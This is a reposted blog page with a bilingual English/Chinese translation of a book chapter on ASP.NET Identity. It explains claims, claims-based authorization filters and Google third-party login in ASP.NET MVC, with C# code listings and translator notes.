Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数,并使用Name属性创建了关于用户ZIP码(邮政编码)和州府的声明(Claims)。上述这个类使我能够模拟一个诸如中心化的HR数据库(人力资源数据库)之类的系统,它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间,声明(Claims)是与用户标识关联在一起的,清单15-16显示了我对Account控制器中Login动作方法所做的修改,以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明(Claims)的效果,可以启动应用程序,以一个用户进行认证,并请求/Claim/Index URL。图15-6显示了Alice的声明(Claims)。你可能需要退出,然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明(Claims)意味着应用程序不必复制其他地方保持的数据,并且能够与外部的数据集成。Claim.Issuer属性(图15-6中的Issuer数据列——译者注)能够告诉你一个声明(Claim)的发源地,这有助于让你判断数据的精确程度,也有助于让你决定这类数据在应用程序中的权重。例如,从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明(Claims) The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明(Claims)有意思的第二个原因是,你可以用它们来管理用户对应用程序的访问,这要比标准的角色管理更为灵活。角色的问题在于它们是静态的,而且一旦用户已经被赋予了一个角色,该用户便是一个成员,直到明确地删除为止。例如,这意味着大公司的长期雇员,对内部系统的访问会十分惊人:他们每次在获得新工作时,都会赋予所需的角色,但旧角色很少被删除。(在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现,有时会出现异常宽泛的系统访问——真实的故事) Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明(Claims)可以直接根据用户已知的信息对用户进行授权,这能够保证当数据发生变化时,授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明(Claim),然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法,它使用了Lambda表达式,以检查用户是否具有StateOrProvince声明(Claim),该声明来自于RemoteClaims发行者(Issuer),值为DC。也检查用户是否具有Role声明(Claim),其值为Employees。如果用户这两个声明都有,那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员,来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法,在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明(Claims)承认他们是DCStaff角色的成员,那么他们便能访问OtherAction动作。该角色的成员是动态生成的,因此,若是用户的雇用状态或地点信息发生变化,也会改变他们的授权等级。 提示:请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度,仁者见仁,智者见智,能领悟多少,全凭各人,译者感觉这里的思想有无数的可能。举例说明:(1)可以根据用户的身份进行授权,比如学生在校时是“学生”,毕业后便是“校友”;(2)可以根据用户所处的部门进行授权,人事部用户属于人事团队,销售部用户属于销售团队,各团队有其自己的应用;(3)下一小节的示例是根据用户的地点授权。简言之:一方面用户的各种声明(Claim)都可以用来进行授权;另一方面用户的声明(Claim)又是可以自定义的。于是可能的运用就无法估计了。总之一句话,这种基于声明的授权(Claims-Based Authorization)有无限可能!要是没有我这里的提示,是否所有读者在此处都会有所体会?——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明(Claims)授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明(Claims)来保持新鲜和准确的授权,但有点不太直接,因为我要根据声明(Claims)数据来生成了角色,然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权,其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容,我将它添加在Infrastructure文件夹中,并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类,通过重写AuthorizeCore方法,很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中,若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例,而且该用户有一个带有issuer、type以及value的声明(Claim),它们与这个类的属性是匹配的,则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器,以便根据LocationClaimsProvider类创建的地点声明(Claim),对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明(Claim)的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统,如ASP.NET Identity,的好处之一是任何声明都可以来自于外部系统,即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户,而ASP.NET Identity就建立在这样的思想之上,使之能够简单而方便地添加第三方认证用户的支持,如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处:许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中,我将演示如何为Google用户建立并使用第三方认证,表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证? Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司,如Google和Facebook,的优势。 Why should I care? 为何要关心它? Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示:我选择演示Google认证的原因是,它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节,请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持,并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包,包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console(包管理器控制台)”中输入以下命令: Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包,如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包,便可以在OWIN启动类中启用此项认证服务的支持,启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication,它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮,让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单,目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法,以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例,并为RedirectUri属性设置了一个URL,其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段,通过将用户重定向到Google认证页面,而不是应用程序所定义的认证页面,让ASP.NET Identity对未授权的错误进行响应: ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着,当用户通过点击Google按钮进行登录时,浏览器被重定向到Google的认证服务,一旦在那里认证之后,便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法,我获得了外部登录的细节,如下所示: ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示: Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法,以便根据ExternalLoginInfo.Login属性的值对用户进行定位,如果用户之前在应用程序中已经认证,该属性会返回一个AppUser对象: ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象,那么我便知道这是用户首次登录应用程序,于是便创建了一个新的AppUser对象,填充该对象的值,并将其保存到数据库。我还保存了用户如何登录的细节,以便下次能够找到他们: ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了,拷贝Google提供的声明(Claims),并创建一个认证Cookie,以使应用程序知道此用户已认证: ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, ident);... 15.4.2 Testing Google Authentication 15.4.2 测试Google认证 There is one further change that I need to make before I can test Google authentication: I need to change the account verification I set up in Chapter 13 because it prevents accounts from being created with e-mail addresses that are not within the example.com domain. Listing 15-25 shows how I removed the verification from the AppUserManager class. 在测试Google认证之前还需要一处修改:需要修改第13章所建立的账号验证,因为它不允许example.com域之外的E-mail地址创建账号。清单15-25显示了如何在AppUserManager类中删除这种验证。 Listing 15-25. Disabling Account Validation in the AppUserManager.cs File 清单15-25. 在AppUserManager.cs文件中取消账号验证 using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Microsoft.AspNet.Identity.Owin;using Microsoft.Owin;using Users.Models; namespace Users.Infrastructure {public class AppUserManager : UserManager<AppUser> {public AppUserManager(IUserStore<AppUser> store): base(store) {}public static AppUserManager Create(IdentityFactoryOptions<AppUserManager> options,IOwinContext context) {AppIdentityDbContext db = context.Get<AppIdentityDbContext>();AppUserManager manager = new AppUserManager(new UserStore<AppUser>(db)); manager.PasswordValidator = new CustomPasswordValidator {RequiredLength = 6,RequireNonLetterOrDigit = false,RequireDigit = false,RequireLowercase = true,RequireUppercase = true}; //manager.UserValidator = new CustomUserValidator(manager) {// AllowOnlyAlphanumericUserNames = true,// RequireUniqueEmail = true//};return manager;} }} Tip you can use validation for externally authenticated accounts, but I am just going to disable the feature for simplicity. 提示:也可以使用外部已认证账号的验证,但这里出于简化,取消了这一特性。 To test authentication, start the application, click the Log In via Google button, and provide the credentials for a valid Google account. When you have completed the authentication process, your browser will be redirected back to the application. If you navigate to the /Claims/Index URL, you will be able to see how claims from the Google system have been added to the user’s identity, as shown in Figure 15-7. 为了测试认证,启动应用程序,通过点击“Log In via Google(通过Google登录)”按钮,并提供有效的Google账号凭据。当你完成了认证过程时,浏览器将被重定向回应用程序。如果导航到/Claims/Index URL,便能够看到来自Google系统的声明(Claims),已被添加到用户的标识中了,如图15-7所示。 Figure 15-7. Claims from Google 图15-7. 来自Google的声明(Claims) 15.5 Summary 15.5 小结 In this chapter, I showed you some of the advanced features that ASP.NET Identity supports. I demonstrated the use of custom user properties and how to use database migrations to preserve data when you upgrade the schema to support them. I explained how claims work and how they can be used to create more flexible ways of authorizing users. I finished the chapter by showing you how to authenticate users via Google, which builds on the ideas behind the use of claims. 本章向你演示了ASP.NET Identity所支持的一些高级特性。演示了自定义用户属性的使用,还演示了在升级数据架构时,如何使用数据库迁移保护数据。我解释了声明(Claims)的工作机制,以及如何将它们用于创建更灵活的用户授权方式。最后演示了如何通过Google进行认证结束了本章,这是建立在使用声明(Claims)的思想基础之上的。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gz19871113/article/details/108591802。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-28 08:49:21
